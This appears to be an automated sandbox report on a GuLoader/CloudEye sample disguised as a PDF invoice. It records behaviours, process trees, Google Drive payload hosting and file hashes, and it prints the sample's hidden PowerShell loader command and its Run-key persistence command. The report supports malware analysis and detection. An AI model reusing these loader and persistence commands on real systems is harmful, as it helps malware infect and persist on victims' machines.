Analysis Overview
SHA256
4412e46cdfffa346ea1d4e07b30077ccaa09fe1cbbe6f9965df193f2e063f4b7
Threat Level: Known bad
The file Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Command and Scripting Interpreter: PowerShell
Legitimate hosting services abused for malware hosting/C2
Adds Run key to start application
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtCreateThreadExHideFromDebugger
Enumerates physical storage devices
Program crash
NSIS installer
Modifies registry key
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-09 09:49
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-09 09:49
Reported
2024-07-09 09:51
Platform
win7-20240704-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
Guloader,Cloudeye
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ortyginae = "%Monopolizables% -windowstyle minimized $masturbated=(Get-ItemProperty -Path 'HKCU:\\Audiometeret\\').Rudolph;%Monopolizables% ($masturbated)" | C:\Windows\SysWOW64\reg.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2428 set thread context of 2908 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Enumerates physical storage devices
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Vangede=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid';$Spondylotomy=$Vangede.SubString(70479,3);.$Spondylotomy($Vangede)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Ortyginae" /t REG_EXPAND_SZ /d "%Monopolizables% -windowstyle minimized $masturbated=(Get-ItemProperty -Path 'HKCU:\Audiometeret\').Rudolph;%Monopolizables% ($masturbated)"
C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Ortyginae" /t REG_EXPAND_SZ /d "%Monopolizables% -windowstyle minimized $masturbated=(Get-ItemProperty -Path 'HKCU:\Audiometeret\').Rudolph;%Monopolizables% ($masturbated)"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 172.217.16.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 216.58.201.99:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 216.58.201.99:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 216.58.201.97:443 | drive.usercontent.google.com | tcp |
Files
memory/2428-11-0x0000000074331000-0x0000000074332000-memory.dmp
memory/2428-14-0x0000000074330000-0x00000000748DB000-memory.dmp
memory/2428-13-0x0000000074330000-0x00000000748DB000-memory.dmp
memory/2428-12-0x0000000074330000-0x00000000748DB000-memory.dmp
memory/2428-15-0x0000000074330000-0x00000000748DB000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid
| MD5 | d89dac6d6bcfb431c31bdf7d21f48fbd |
| SHA1 | 2f55f2b77da6a9078c7bb90fd87b205c9c4cf3b9 |
| SHA256 | ffeacf6c0a98133600a0f1de25732fb4b22b06af6921edd316e52a6d7837359b |
| SHA512 | 76eb9025c18fd7661cb72d47c7eda57a45304594e5aea32fe73b1dd94ec9db81753726f83e6d9f82924c3b9295eef4725dbaa7d633963ac8e8e91b7444346070 |
memory/2428-18-0x0000000074330000-0x00000000748DB000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Boomless.Fag
| MD5 | 1a78d0f226d0db154812e61b8cadb4b8 |
| SHA1 | e76650e32ed8bc1e3d72dde1aa6566ff031e0c6e |
| SHA256 | 19997e372b58bcd5bacd8b199b1633307f0c89fc3ce7abfd4087ec739742f78e |
| SHA512 | b06759e8bfeb73187c5277aaaa9c6489f51a88f42b461ec0775de6741f6b797dc3c2cbb8f6cf79815078a420a26cde9cedd861c4d16ac73a037e2160efc4ec41 |
memory/2428-20-0x0000000074330000-0x00000000748DB000-memory.dmp
memory/2428-21-0x0000000006690000-0x000000000922E000-memory.dmp
memory/2428-22-0x0000000074330000-0x00000000748DB000-memory.dmp
memory/2908-42-0x0000000001FC0000-0x0000000004B5E000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-09 09:49
Reported
2024-07-09 09:51
Platform
win10v2004-20240704-en
Max time kernel
148s
Max time network
151s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4040 wrote to memory of 2996 | N/A | C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 4040 wrote to memory of 2996 | N/A | C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 4040 wrote to memory of 2996 | N/A | C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Orange_doklad_CN0413278003_20240705_FR09831200076590·pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Vangede=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid';$Spondylotomy=$Vangede.SubString(70479,3);.$Spondylotomy($Vangede)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 2996 -ip 2996
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 2492
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.177.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.236.111.52.in-addr.arpa | udp |
Files
memory/2996-9-0x000000007436E000-0x000000007436F000-memory.dmp
memory/2996-10-0x0000000002E50000-0x0000000002E86000-memory.dmp
memory/2996-11-0x00000000055B0000-0x0000000005BD8000-memory.dmp
memory/2996-12-0x0000000074360000-0x0000000074B10000-memory.dmp
memory/2996-13-0x0000000074360000-0x0000000074B10000-memory.dmp
memory/2996-14-0x0000000005520000-0x0000000005542000-memory.dmp
memory/2996-16-0x0000000005D80000-0x0000000005DE6000-memory.dmp
memory/2996-15-0x0000000005D10000-0x0000000005D76000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cgju2ndj.ygv.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2996-26-0x0000000005DF0000-0x0000000006144000-memory.dmp
memory/2996-27-0x00000000063F0000-0x000000000640E000-memory.dmp
memory/2996-28-0x0000000006430000-0x000000000647C000-memory.dmp
memory/2996-29-0x00000000073C0000-0x0000000007456000-memory.dmp
memory/2996-30-0x0000000006920000-0x000000000693A000-memory.dmp
memory/2996-31-0x00000000069A0000-0x00000000069C2000-memory.dmp
memory/2996-32-0x0000000007A10000-0x0000000007FB4000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Reexpression.Tid
| MD5 | d89dac6d6bcfb431c31bdf7d21f48fbd |
| SHA1 | 2f55f2b77da6a9078c7bb90fd87b205c9c4cf3b9 |
| SHA256 | ffeacf6c0a98133600a0f1de25732fb4b22b06af6921edd316e52a6d7837359b |
| SHA512 | 76eb9025c18fd7661cb72d47c7eda57a45304594e5aea32fe73b1dd94ec9db81753726f83e6d9f82924c3b9295eef4725dbaa7d633963ac8e8e91b7444346070 |
memory/2996-34-0x0000000008640000-0x0000000008CBA000-memory.dmp
memory/2996-36-0x0000000074360000-0x0000000074B10000-memory.dmp